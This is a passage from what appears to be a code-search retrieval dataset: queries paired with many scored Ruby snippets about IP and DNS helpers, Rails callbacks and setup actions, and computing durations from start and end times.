get_ip_addr(host_id)\n raise \"Invalid host_id specified\" unless host_id && host_id.is_a?(Integer)\n\n if host_id < 1 || host_id > 127\n raise \"Supplied host identifier #{host_id} must be between 1 and 127\"\n end\n \"169.254.169.\" + host_id.to_s\n end", "title": "" }, { "docid": "eb1d3e4207869c81be601ed9846ba611", "score": "0.5508873", "text": "def public_ip_address\n ipv4_address\n end", "title": "" }, { "docid": "c10f4f8e4ff922714468feb173b8f2ab", "score": "0.55032873", "text": "def show(id:)\n id_check('id', id)\n\n cf_get(path: \"/zones/#{zone_id}/custom_hostnames/#{id}\")\n end", "title": "" }, { "docid": "b284d3b9fc10721d16e576438926969b", "score": "0.5501589", "text": "def region(cluster)\n cluster.zone.split('-')[0..1].join('-')\n end", "title": "" }, { "docid": "5d470eb6b8991ff682354058452b754a", "score": "0.54918754", "text": "def public_dns_name\n @instance.public_dns_name\n end", "title": "" }, { "docid": "cdd3f5e1572916c36273a315f81febc6", "score": "0.5491457", "text": "def zone\n period.zone_identifier.to_s\n end", "title": "" }, { "docid": "2c60bb0a8b1f267acf4b47472ea5c66d", "score": "0.54801255", "text": "def details\n data = Storm::Base::SODServer.remote_call \\\n '/Network/DNS/Zone/details', :id => @id\n self.from_hash data\n end", "title": "" }, { "docid": "7d096eac796a46e415cfe9d423edc8d0", "score": "0.54798126", "text": "def get_node_private_dns_name\n return @ec2_description.reservations[0].instances[0].private_dns_name\n end", "title": "" }, { "docid": "3adffda69ddcf3d74031ea9637b511eb", "score": "0.5477856", "text": "def id\n \"#{ip}:#{port}\"\n end", "title": "" } ]
f74c29bdfc4a183e1ec1b91334cd5be2
Use callbacks to share common setup or constraints between actions.
[ { "docid": "56ce152272ea755a197a2e319984ccea", "score": "0.0", "text": "def set_lesson_planner\n @lesson_planner = LessonPlanner.find(params[:id])\n end", "title": "" } ]
[ { "docid": "631f4c5b12b423b76503e18a9a606ec3", "score": "0.60339177", "text": "def process_action(...)\n run_callbacks(:process_action) do\n super\n end\n end", "title": "" }, { "docid": "7b068b9055c4e7643d4910e8e694ecdc", "score": "0.60135007", "text": "def on_setup_callbacks; end", "title": "" }, { "docid": "311e95e92009c313c8afd74317018994", "score": "0.59219855", "text": "def setup_actions\n domain = @apps.domain\n path_user = '/a/feeds/'+domain+'/user/2.0'\n path_nickname = '/a/feeds/'+domain+'/nickname/2.0'\n path_email_list = '/a/feeds/'+domain+'/emailList/2.0'\n path_group = '/a/feeds/group/2.0/'+domain\n\n @apps.register_action(:domain_login, {:method => 'POST', :path => '/accounts/ClientLogin' })\n @apps.register_action(:user_create, { :method => 'POST', :path => path_user })\n @apps.register_action(:user_retrieve, { :method => 'GET', :path => path_user+'/' })\n @apps.register_action(:user_retrieve_all, { :method => 'GET', :path => path_user })\n @apps.register_action(:user_update, { :method => 'PUT', :path => path_user +'/' })\n @apps.register_action(:user_delete, { :method => 'DELETE', :path => path_user +'/' })\n @apps.register_action(:nickname_create, { :method => 'POST', :path =>path_nickname })\n @apps.register_action(:nickname_retrieve, { :method => 'GET', :path =>path_nickname+'/' })\n @apps.register_action(:nickname_retrieve_all_for_user, { :method => 'GET', :path =>path_nickname+'?username=' })\n @apps.register_action(:nickname_retrieve_all_in_domain, { :method => 'GET', :path =>path_nickname })\n @apps.register_action(:nickname_delete, { :method => 'DELETE', :path =>path_nickname+'/' })\n @apps.register_action(:group_create, { :method => 'POST', :path => path_group })\n @apps.register_action(:group_update, { :method => 'PUT', :path => path_group })\n @apps.register_action(:group_retrieve, { :method => 'GET', :path => path_group })\n @apps.register_action(:group_delete, { :method => 'DELETE', :path => path_group })\n\n # special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n @apps.register_action(:next, {:method => 'GET', :path =>'' })\n end", "title": "" }, { "docid": "8315debee821f8bfc9718d31b654d2de", "score": "0.5913137", "text": "def initialize(*args)\n super\n @action = :setup\nend", "title": "" }, { "docid": "8315debee821f8bfc9718d31b654d2de", "score": "0.5913137", "text": "def initialize(*args)\n super\n @action = :setup\nend", "title": "" }, { "docid": "bfea4d21895187a799525503ef403d16", "score": "0.589884", "text": "def define_action_helpers\n super\n define_validation_hook if runs_validations_on_action?\n end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.5890051", "text": "def actions; end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.5890051", "text": "def actions; end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.5890051", "text": "def actions; end", "title": "" }, { "docid": "352de4abc4d2d9a1df203735ef5f0b86", "score": "0.5889191", "text": "def required_action\n # TODO: implement\n end", "title": "" }, { "docid": "8713cb2364ff3f2018b0d52ab32dbf37", "score": "0.58780754", "text": "def define_action_helpers\n if action == :save\n if super(:create_or_update)\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n else\n super\n end\n end", "title": "" }, { "docid": "a80b33627067efa06c6204bee0f5890e", "score": "0.5863248", "text": "def actions\n\n end", "title": "" }, { "docid": "930a930e57ae15f432a627a277647f2e", "score": "0.58094144", "text": "def setup_actions\n domain = @apps.domain\n path_base = '/a/feeds/emailsettings/2.0/'+domain+'/'\n\n @apps.register_action(:create_label, {:method => 'POST', :path => path_base })\n @apps.register_action(:create_filter, { :method => 'POST', :path => path_base })\n @apps.register_action(:create_send_as, { :method => 'POST', :path => path_base })\n @apps.register_action(:update_webclip, { :method => 'PUT', :path => path_base })\n @apps.register_action(:update_forward, { :method => 'PUT', :path => path_base })\n @apps.register_action(:set_pop, { :method => 'PUT', :path => path_base })\n @apps.register_action(:set_imap, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_vacation, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_signature, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_language, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_general, { :method => 'PUT', :path =>path_base })\n\n # special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n @apps.register_action(:next, {:method => 'GET', :path =>nil })\n end", "title": "" }, { "docid": "33ff963edc7c4c98d1b90e341e7c5d61", "score": "0.57375425", "text": "def setup\n common_setup\n end", "title": "" }, { "docid": "a5ca4679d7b3eab70d3386a5dbaf27e1", "score": "0.57285565", "text": "def perform_setup\n end", "title": "" }, { "docid": "ec7554018a9b404d942fc0a910ed95d9", "score": "0.57149214", "text": "def before_setup(&block)\n pre_setup_actions.unshift block\n end", "title": "" }, { "docid": "9c186951c13b270d232086de9c19c45b", "score": "0.5703237", "text": "def callbacks; end", "title": "" }, { "docid": "c85b0efcd2c46a181a229078d8efb4de", "score": "0.56900954", "text": "def custom_setup\n\n end", "title": "" }, { "docid": "100180fa74cf156333d506496717f587", "score": "0.56665677", "text": "def do_setup\n\t\tget_validation\n\t\tprocess_options\n\tend", "title": "" }, { "docid": "2198a9876a6ec535e7dcf0fd476b092f", "score": "0.5651118", "text": "def initial_action; end", "title": "" }, { "docid": "b9b75a9e2eab9d7629c38782c0f3b40b", "score": "0.5648135", "text": "def setup_intent; end", "title": "" }, { "docid": "471d64903a08e207b57689c9fbae0cf9", "score": "0.56357735", "text": "def setup_controllers &proc\n @global_setup = proc\n self\n end", "title": "" }, { "docid": "468d85305e6de5748477545f889925a7", "score": "0.5627078", "text": "def inner_action; end", "title": "" }, { "docid": "bb445e7cc46faa4197184b08218d1c6d", "score": "0.5608873", "text": "def pre_action\n # Override this if necessary.\n end", "title": "" }, { "docid": "432f1678bb85edabcf1f6d7150009703", "score": "0.5598699", "text": "def target_callbacks() = commands", "title": "" }, { "docid": "48804b0fa534b64e7885b90cf11bff31", "score": "0.5598419", "text": "def execute_callbacks; end", "title": "" }, { "docid": "5aab98e3f069a87e5ebe77b170eab5b9", "score": "0.5589822", "text": "def api_action!(*args)\n type = self.class.name.split(\"::\").last.downcase\n run_callbacks_for([\"before_#{type}\", :before], *args)\n result = nil\n begin\n result = yield if block_given?\n run_callbacks_for([\"after_#{type}\", :after], *args)\n result\n rescue => err\n run_callbacks_for([\"failed_#{type}\", :failed], *(args + [err]))\n raise\n end\n end", "title": "" }, { "docid": "9efbca664902d80a451ef6cff0334fe2", "score": "0.5558845", "text": "def global_callbacks; end", "title": "" }, { "docid": "9efbca664902d80a451ef6cff0334fe2", "score": "0.5558845", "text": "def global_callbacks; end", "title": "" }, { "docid": "482481e8cf2720193f1cdcf32ad1c31c", "score": "0.55084664", "text": "def required_keys(action)\n\n end", "title": "" }, { "docid": "353fd7d7cf28caafe16d2234bfbd3d16", "score": "0.5504379", "text": "def assign_default_callbacks(action_name, is_member=false)\n if ResourceController::DEFAULT_ACTIONS.include?(action_name)\n DefaultActions.send(action_name, self)\n elsif is_member\n send(action_name).build { load_object }\n send(action_name).wants.html\n send(action_name).wants.xml { render :xml => object }\n send(action_name).failure.flash \"Request failed\"\n send(action_name).failure.wants.html\n send(action_name).failure.wants.xml { render :xml => object.errors }\n else\n send(action_name).build { load_collection }\n send(action_name).wants.html\n send(action_name).wants.xml { render :xml => collection }\n send(action_name).failure.flash \"Request failed\"\n send(action_name).failure.wants.html\n send(action_name).failure.wants.xml { head 500 }\n end\n end", "title": "" }, { "docid": "dcf95c552669536111d95309d8f4aafd", "score": "0.5465574", "text": "def layout_actions\n \n end", "title": "" }, { "docid": "2f6ef0a1ebe74f4d79ef0fb81af59d40", "score": "0.5464707", "text": "def on_setup(&block); end", "title": "" }, { "docid": "8ab2a5ea108f779c746016b6f4a7c4a8", "score": "0.54471064", "text": "def testCase_001\n test_case_title # fw3_actions.rb\n setup # fw3_global_methods.rb\n \n get_page_url # fw3_actions.rb\n validate_page_title # fw3_actions.rb\n validate_page_link_set # fw3_actions.rb\n \n teardown # fw3_global_methods.rb\nend", "title": "" }, { "docid": "e3aadf41537d03bd18cf63a3653e05aa", "score": "0.54455084", "text": "def before(action)\n invoke_callbacks *options_for(action).before\n end", "title": "" }, { "docid": "6bd37bc223849096c6ea81aeb34c207e", "score": "0.5437386", "text": "def post_setup\n end", "title": "" }, { "docid": "07fd9aded4aa07cbbba2a60fda726efe", "score": "0.54160327", "text": "def testCase_001\n testTitle # fw2_actions.rb\n setup # fw2_global_methods.rb\n get_page_url # fw2_actions.rb\n validate_title # fw2_actions.rb\n teardown # fw2_global_methods.rb\nend", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.5411113", "text": "def action_methods; end", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.5411113", "text": "def action_methods; end", "title": "" }, { "docid": "9358208395c0869021020ae39071eccd", "score": "0.5397424", "text": "def post_setup; end", "title": "" }, { "docid": "cb5bad618fb39e01c8ba64257531d610", "score": "0.5392518", "text": "def define_model_action(methods,action,default_options={:validate => true})\n default_options.merge!(methods.extract_options!)\n actions = [action,\"#{action}!\".to_sym]\n actions.each do |a|\n define_method(a) do |opts = {}|\n rslt = nil\n options = default_options.merge(opts)\n options[:raise_exception] = a.to_s.match(/\\!$/)\n run_callbacks(action) do\n rslt = run_model_action(methods,options)\n end\n run_after_any\n rslt\n end\n end\n end", "title": "" }, { "docid": "c5904f93614d08afa38cc3f05f0d2365", "score": "0.5391541", "text": "def before_setup; end", "title": "" }, { "docid": "c5904f93614d08afa38cc3f05f0d2365", "score": "0.5391541", "text": "def before_setup; end", "title": "" }, { "docid": "a468b256a999961df3957e843fd9bdf4", "score": "0.5385411", "text": "def _setup\n setup_notification_categories\n setup_intelligent_segments\n end", "title": "" }, { "docid": "f099a8475f369ce73a38d665b6ee6877", "score": "0.53794575", "text": "def action_run\n end", "title": "" }, { "docid": "2c4e5a90aa8efaaa3ed953818a9b30d2", "score": "0.5357573", "text": "def execute(setup)\n @action.call(setup)\n end", "title": "" }, { "docid": "118932433a8cfef23bb8a921745d6d37", "score": "0.53487605", "text": "def register_action(action); end", "title": "" }, { "docid": "725216eb875e8fa116cd55eac7917421", "score": "0.5346655", "text": "def setup\n @controller.setup\n end", "title": "" }, { "docid": "39c39d6fe940796aadbeaef0ce1c360b", "score": "0.53448105", "text": "def setup_phase; end", "title": "" }, { "docid": "bd03e961c8be41f20d057972c496018c", "score": "0.5342072", "text": "def post_setup\n controller.each do |name,ctrl|\n ctrl.post_setup\n end\n end", "title": "" }, { "docid": "c6352e6eaf17cda8c9d2763f0fbfd99d", "score": "0.5341318", "text": "def initial_action=(_arg0); end", "title": "" }, { "docid": "207a668c9bce9906f5ec79b75b4d8ad7", "score": "0.53243506", "text": "def before_setup\n\n end", "title": "" }, { "docid": "669ee5153c4dc8ee81ff32c4cefdd088", "score": "0.53025913", "text": "def ensure_before_and_after; end", "title": "" }, { "docid": "c77ece7b01773fb7f9f9c0f1e8c70332", "score": "0.5283114", "text": "def setup!\n adding_handlers do\n check_arity\n apply_casting\n check_validation\n end\n end", "title": "" }, { "docid": "1e1e48767a7ac23eb33df770784fec61", "score": "0.5282289", "text": "def set_minimum_up_member_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "title": "" }, { "docid": "4ad1208a9b6d80ab0dd5dccf8157af63", "score": "0.52585614", "text": "def rails_controller_callbacks(&block)\n rails_controller_instance.run_callbacks(:process_action, &block)\n end", "title": "" }, { "docid": "63a9fc1fb0dc1a7d76ebb63a61ed24d7", "score": "0.52571374", "text": "def define_callbacks(*args)\n if abstract_class\n all_shards.each do |model|\n model.define_callbacks(*args)\n end\n end\n\n super\n end", "title": "" }, { "docid": "fc88422a7a885bac1df28883547362a7", "score": "0.52483684", "text": "def pre_setup_actions\n @@pre_setup_actions ||= []\n end", "title": "" }, { "docid": "8945e9135e140a6ae6db8d7c3490a645", "score": "0.5244467", "text": "def action_awareness\n if action_aware?\n if !@options.key?(:allow_nil)\n if @required\n @allow_nil = false\n else\n @allow_nil = true\n end\n end\n if as_action != \"create\"\n @required = false\n end\n end\n end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52385926", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52385926", "text": "def action; end", "title": "" }, { "docid": "7b3954deb2995cf68646c7333c15087b", "score": "0.5236853", "text": "def after_setup\n end", "title": "" }, { "docid": "1dddf3ac307b09142d0ad9ebc9c4dba9", "score": "0.52330637", "text": "def external_action\n raise NotImplementedError\n end", "title": "" }, { "docid": "5772d1543808c2752c186db7ce2c2ad5", "score": "0.52300817", "text": "def actions(state:)\n raise NotImplementedError\n end", "title": "" }, { "docid": "64a6d16e05dd7087024d5170f58dfeae", "score": "0.522413", "text": "def setup_actions(domain)\n\t\t\tpath_user = '/a/feeds/'+domain+'/user/2.0'\n\t\t\tpath_nickname = '/a/feeds/'+domain+'/nickname/2.0'\n\t\t\tpath_group = '/a/feeds/group/2.0/'+domain # path for Google groups\n\n\t\t\taction = Hash.new\n\t\t\taction[:domain_login] = {:method => 'POST', :path => '/accounts/ClientLogin' }\n\t\t\taction[:user_create] = { :method => 'POST', :path => path_user }\n\t\t\taction[:user_retrieve] = { :method => 'GET', :path => path_user+'/' }\n\t\t\taction[:user_retrieve_all] = { :method => 'GET', :path => path_user } \n\t\t\taction[:user_update] = { :method => 'PUT', :path => path_user +'/' }\n\t\t\taction[:user_rename] = { :method => 'PUT', :path => path_user +'/' }\n\t\t\taction[:user_delete] = { :method => 'DELETE', :path => path_user +'/' }\n\t\t\taction[:nickname_create] = { :method => 'POST', :path =>path_nickname }\n\t\t\taction[:nickname_retrieve] = { :method => 'GET', :path =>path_nickname+'/' }\n\t\t\taction[:nickname_retrieve_all_for_user] = { :method => 'GET', :path =>path_nickname+'?username=' }\n\t\t\taction[:nickname_retrieve_all_in_domain] = { :method => 'GET', :path =>path_nickname }\n\t\t\taction[:nickname_delete] = { :method => 'DELETE', :path =>path_nickname+'/' }\n\t\t\taction[:group_create] = { :method => 'POST', :path =>path_group }\n\t\t\taction[:group_update] = { :method => 'PUT', :path =>path_group+'/' }\n\t\t\taction[:group_delete] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:groups_retrieve] = { :method => 'GET', :path =>path_group+'?member=' }\n\t\t\taction[:all_groups_retrieve] = { :method => 'GET', :path =>path_group }\n\t\t\taction[:membership_add] = { :method => 'POST', :path =>path_group+'/' }\n\t\t\taction[:membership_remove] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:membership_confirm] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:all_members_retrieve] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:ownership_add] = { :method => 'POST', :path =>path_group+'/' }\n\t\t\taction[:ownership_remove] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:ownership_confirm] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:all_owners_retrieve] = { :method => 'GET', :path =>path_group+'/' }\n\t\n\t\t\t# special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n\t\t\taction[:next] = {:method => 'GET', :path =>nil }\n\t\t\treturn action \t\n\t\tend", "title": "" }, { "docid": "6350959a62aa797b89a21eacb3200e75", "score": "0.52226824", "text": "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "title": "" }, { "docid": "db0cb7d7727f626ba2dca5bc72cea5a6", "score": "0.521999", "text": "def process_params\n set_params_authable if process_params_authable?\n set_params_ownerable if process_params_ownerable?\n set_params_sub_action\n end", "title": "" }, { "docid": "8d7ed2ff3920c2016c75f4f9d8b5a870", "score": "0.5215832", "text": "def pick_action; end", "title": "" }, { "docid": "7bbfb366d2ee170c855b1d0141bfc2a3", "score": "0.5213786", "text": "def proceed_with(action, *arguments)\n self.class.decouplings.each do |decoupler|\n decoupler.run_on(self, action, *arguments)\n end\n end", "title": "" }, { "docid": "78ecc6a2dfbf08166a7a1360bc9c35ef", "score": "0.52100146", "text": "def define_action_helpers\n if action_hook\n @action_hook_defined = true\n define_action_hook\n end\n end", "title": "" }, { "docid": "2aba2d3187e01346918a6557230603c7", "score": "0.52085197", "text": "def ac_action(&blk)\n @action = blk\n end", "title": "" }, { "docid": "4c23552739b40c7886414af61210d31c", "score": "0.5203262", "text": "def execute_pre_setup_actions(test_instance,runner=nil)\n self.class.pre_setup_actions.each do |action|\n action.call test_instance\n end\n end", "title": "" }, { "docid": "691d5a5bcefbef8c08db61094691627c", "score": "0.5202406", "text": "def performed(action)\n end", "title": "" }, { "docid": "6a98e12d6f15af80f63556fcdd01e472", "score": "0.520174", "text": "def perform_setup\n ## Run global setup before example\n Alfred.configuration.setup.each do |setup|\n @request.perform_setup(&setup)\n end\n\n ## Run setup blocks for scenario\n setups.each { |setup| @request.perform_setup(&setup) }\n end", "title": "" }, { "docid": "d56f4ec734e3f3bc1ad913b36ff86130", "score": "0.5201504", "text": "def create_setup\n \n end", "title": "" }, { "docid": "ad33138fb4bd42d9785a8f84821bfd88", "score": "0.51963276", "text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "title": "" }, { "docid": "ad33138fb4bd42d9785a8f84821bfd88", "score": "0.51963276", "text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "title": "" }, { "docid": "7fca702f2da4dbdc9b39e5107a2ab87d", "score": "0.5191404", "text": "def add_transition_callbacks\n %w(before after).each {|type| owner_class.define_callbacks(\"#{type}_transition_#{attribute}\") }\n end", "title": "" }, { "docid": "063b82c93b47d702ef6bddadb6f0c76e", "score": "0.5178325", "text": "def setup(instance)\n action(:setup, instance)\n end", "title": "" }, { "docid": "9f1f73ee40d23f6b808bb3fbbf6af931", "score": "0.51765746", "text": "def setup( *args )\n\t\t\tself.class.setupMethods.each {|sblock|\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\tend", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.51710224", "text": "def setup(resources) ; end", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.51710224", "text": "def setup(resources) ; end", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.51710224", "text": "def setup(resources) ; end", "title": "" }, { "docid": "7a0c9d839516dc9d0014e160b6e625a8", "score": "0.5162045", "text": "def setup(request)\n end", "title": "" }, { "docid": "e441ee807f2820bf3655ff2b7cf397fc", "score": "0.5150735", "text": "def after_setup; end", "title": "" }, { "docid": "1d375c9be726f822b2eb9e2a652f91f6", "score": "0.5143402", "text": "def before *actions, &proc\n actions = ['*'] if actions.size == 0\n actions.each { |a| @callbacks[:a][a] = proc }\n end", "title": "" }, { "docid": "c594a0d7b6ae00511d223b0533636c9c", "score": "0.51415485", "text": "def code_action_provider; end", "title": "" }, { "docid": "faddd70d9fef5c9cd1f0d4e673e408b9", "score": "0.51398855", "text": "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "title": "" }, { "docid": "2fcff037e3c18a5eb8d964f8f0a62ebe", "score": "0.51376045", "text": "def setup(params)\n end", "title": "" }, { "docid": "111fd47abd953b35a427ff0b098a800a", "score": "0.51318985", "text": "def setup\n make_notification_owner\n load_superusers\n admin_sets.each do |as|\n @logger.debug \"Attempting to make admin set for #{as}\"\n make_admin_set_from_config(as)\n end\n load_workflows\n everyone_can_deposit_everywhere\n give_superusers_superpowers\n end", "title": "" }, { "docid": "f2ac709e70364fce188bb24e414340ea", "score": "0.5115387", "text": "def setup_defaults\n add_help\n @handler = Cliqr::Util.forward_to_help_handler if @handler.nil? && help? && actions?\n @actions.each(&:setup_defaults)\n end", "title": "" }, { "docid": "3b4fb29fa45f95d436fd3a8987f12de7", "score": "0.5111866", "text": "def setup\n transition_to(:setup)\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.5110294", "text": "def action\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.5110294", "text": "def action\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.5110294", "text": "def action\n end", "title": "" }, { "docid": "4c7a1503a86fb26f1e4b4111925949a2", "score": "0.5109771", "text": "def scaffold_setup_helper\n include ScaffoldingExtensions::Helper\n include ScaffoldingExtensions::MerbControllerHelper\n include ScaffoldingExtensions::PrototypeHelper\n include ScaffoldingExtensions::Controller\n include ScaffoldingExtensions::MerbController\n before :scaffold_check_nonidempotent_requests\n end", "title": "" }, { "docid": "63849e121dcfb8a1b963f040d0fe3c28", "score": "0.5107364", "text": "def perform_action(action, item)\n if action == :approve\n approve(item.fullid)\n elsif action == :remove\n remove(item.fullid)\n elsif action == :alert\n #perform_alert() check condition alert params and proceed\n else\n #something isn't cool, pass or error \n end\nend", "title": "" }, { "docid": "f04fd745d027fc758dac7a4ca6440871", "score": "0.5106081", "text": "def block_actions options ; end", "title": "" }, { "docid": "0d1c87e5cf08313c959963934383f5ae", "score": "0.51001656", "text": "def on_action(action)\n @action = action\n self\n end", "title": "" }, { "docid": "916d3c71d3a5db831a5910448835ad82", "score": "0.50964546", "text": "def do_action(action)\n case action\n when \"a\"\n @user_manager.create_user\n when \"b\"\n @user_manager.delete_user\n when \"c\"\n @user_manager.get_info\n when \"d\"\n @user_manager.list_all_users\n when \"quit\", \"exit\"\n bail\n end\n end", "title": "" }, { "docid": "076c761e1e84b581a65903c7c253aa62", "score": "0.5093199", "text": "def add_callbacks(base); end", "title": "" } ]
3fe5bda23e9a17670f720f82de3ae98c
Work out the duration based on the start end time
[ { "docid": "a118c225bff97898ad3ae2152af75465", "score": "0.80000645", "text": "def calc_duration\n self.duration_minutes = ((self.ended_at - self.started_at) / 60) + 1\n end", "title": "" } ]
[ { "docid": "ebad0d511e71bfb7e9cf59814cc18f86", "score": "0.8661253", "text": "def duration\n end_time - start_time\n end", "title": "" }, { "docid": "778abc215cf33a3a9cca15130b5f9f3a", "score": "0.8577027", "text": "def duration\n ((end_time - start_time) * 24 * 60).to_f\n end", "title": "" }, { "docid": "4692e77c9fa05d2298dddeb1f2ac3d15", "score": "0.8544604", "text": "def duration\n (start_time - end_time)/(60*60)\n end", "title": "" }, { "docid": "cc4040e2d80f1baf1f8aefa5689b5b30", "score": "0.8495316", "text": "def duration\n return if end_time.nil?\n\n (end_time - start_time) * 1000.0\n end", "title": "" }, { "docid": "2943970cfddec5440f994429822c31af", "score": "0.84710747", "text": "def duration\n end_time ||= Time.now.utc\n ((end_time - start_time)/60).round\n end", "title": "" }, { "docid": "290a13adc16fea74d53e5e1b9a89a82c", "score": "0.8452467", "text": "def calculate_duration\n (Time.parse(@end_time) - Time.parse(@start_time)) / 3600\n end", "title": "" }, { "docid": "4db5cc76e0b9080eba24c8d213b391d6", "score": "0.84469366", "text": "def duration\n ((self.end_time - self.start_time) / 3600).to_i\n end", "title": "" }, { "docid": "9f158f1f2750c8029e7a2c41971a28c3", "score": "0.8441076", "text": "def duration\n ((@end_time - @start_time) * 24 * 60).to_i\n end", "title": "" }, { "docid": "395b36b6839f7ece61051dce80e17bd4", "score": "0.8437104", "text": "def duration\n self.end_time.to_i - self.start_time.to_i\n end", "title": "" }, { "docid": "cd5c223b097542dffd88c1fd62917beb", "score": "0.8416278", "text": "def duration\n (self.end_time - self.start_time) / 60\n end", "title": "" }, { "docid": "d27b3490b82ee2d73742cd2bf8746bd2", "score": "0.8378311", "text": "def duration\n @end_time - @start_time\n end", "title": "" }, { "docid": "fc1fc3d1084440ea3401dde1eb4799f4", "score": "0.83732027", "text": "def duration\n self.end_time - self.start_time\n end", "title": "" }, { "docid": "5e3ec81a7eaffb8003ee6318f7a4af33", "score": "0.83606356", "text": "def actual_duration\n @end_time - @start_time if @start_time && @end_time\n end", "title": "" }, { "docid": "11e5a8b829d095c6cd23bd0adaf10c25", "score": "0.8360571", "text": "def duration\n (end_time - start_time) / 1.hour\n end", "title": "" }, { "docid": "61016ed80bf795716933e56387125e06", "score": "0.83010226", "text": "def calculate_duration(start_time, end_time)\n (end_time - start_time).to_i\nend", "title": "" }, { "docid": "274594c1b07eda0a3ffb5a87281b750f", "score": "0.82470536", "text": "def duration\n Time.parse(end_time) - Time.parse(start_time)\n end", "title": "" }, { "docid": "4f29918b44e6e4e4217ca6f0573f3c8d", "score": "0.82420003", "text": "def duration\n return (@endtime.to_i - @starttime.to_i)\n end", "title": "" }, { "docid": "e9f55a1a6ea966e9ac8e2d23ff410fd6", "score": "0.82389826", "text": "def duration\n finish_time - start_time if start_time && finish_time\n end", "title": "" }, { "docid": "2defa7c25f077042faed1756d5ddb945", "score": "0.82203525", "text": "def duration()\n return (end_time - start_time) #will return in seconds because Time class method\n end", "title": "" }, { "docid": "e36aa3623d91c39703e0af1222317562", "score": "0.81937265", "text": "def duration\n self.end_time - self.start_time\n end", "title": "" }, { "docid": "14fa3192ae61d3762fc4a17698ff6ad7", "score": "0.81934816", "text": "def duration\n (self.end - start).round\n end", "title": "" }, { "docid": "b205349b2a030f713e20597f0f519ad8", "score": "0.8075807", "text": "def duration(start_time, finish_time)\n finish_time - start_time\nend", "title": "" }, { "docid": "1dfb8a440c2c76c3a2068c9fd6fde9c4", "score": "0.8025954", "text": "def duration\n return (@stop_time - @start_time)/60.0\n end", "title": "" }, { "docid": "c2746b4821084a049421dc08eef189f2", "score": "0.8018662", "text": "def duration\n end_at - start_at\n end", "title": "" }, { "docid": "934a8efae0081c9d52b4b978d41c3367", "score": "0.80142623", "text": "def duration\n ( end_at - start_at ) / 60\n end", "title": "" }, { "docid": "f24f585823dce445d61e7fb9e93f0898", "score": "0.8013495", "text": "def duration\n self.end - start\n end", "title": "" }, { "docid": "d16c3b7adba5dbafea9b07b52a0c1d5e", "score": "0.7989441", "text": "def end_time\n start_time + duration\n end", "title": "" }, { "docid": "6e8fd484c717c187ca8e924558544884", "score": "0.7977868", "text": "def duration\n return nil unless ending or start\n diff_in_min = ((ending - start) / 60).round # converting difference from seconds to minutes\n h, m = diff_in_min / 60, diff_in_min % 60\n \"#{h}:#{m}\".to_time\n end", "title": "" }, { "docid": "a961581c9e29c48eeedb9ceb37e37c9e", "score": "0.7970781", "text": "def end_time\n start_time + duration.minutes\n end", "title": "" }, { "docid": "0cd4b5ee0837599d9e9fefea974f35f4", "score": "0.7967999", "text": "def duration\n return unless bounded?\n\n (end_at - start_at).abs.to_i + offset\n end", "title": "" }, { "docid": "418041bb82653b6dfefc73db9bef5b1f", "score": "0.796223", "text": "def get_duration\n return (@end_time - @start_time).to_i if !is_in_progress?\n end", "title": "" }, { "docid": "e299864d74a73c509f8c2428f3052d82", "score": "0.7872195", "text": "def end_time\n hours = start_time / 100\n minutes = start_time % 100\n duration_hours = duration / 60\n duration_minutes = duration % 60\n\n if duration_minutes + minutes >= 60\n hours += 1\n minutes = (duration_minutes + minutes) % 60\n duration_minutes = 0\n end\n\n return (hours + duration_hours) * 100 + (minutes + duration_minutes)\n end", "title": "" }, { "docid": 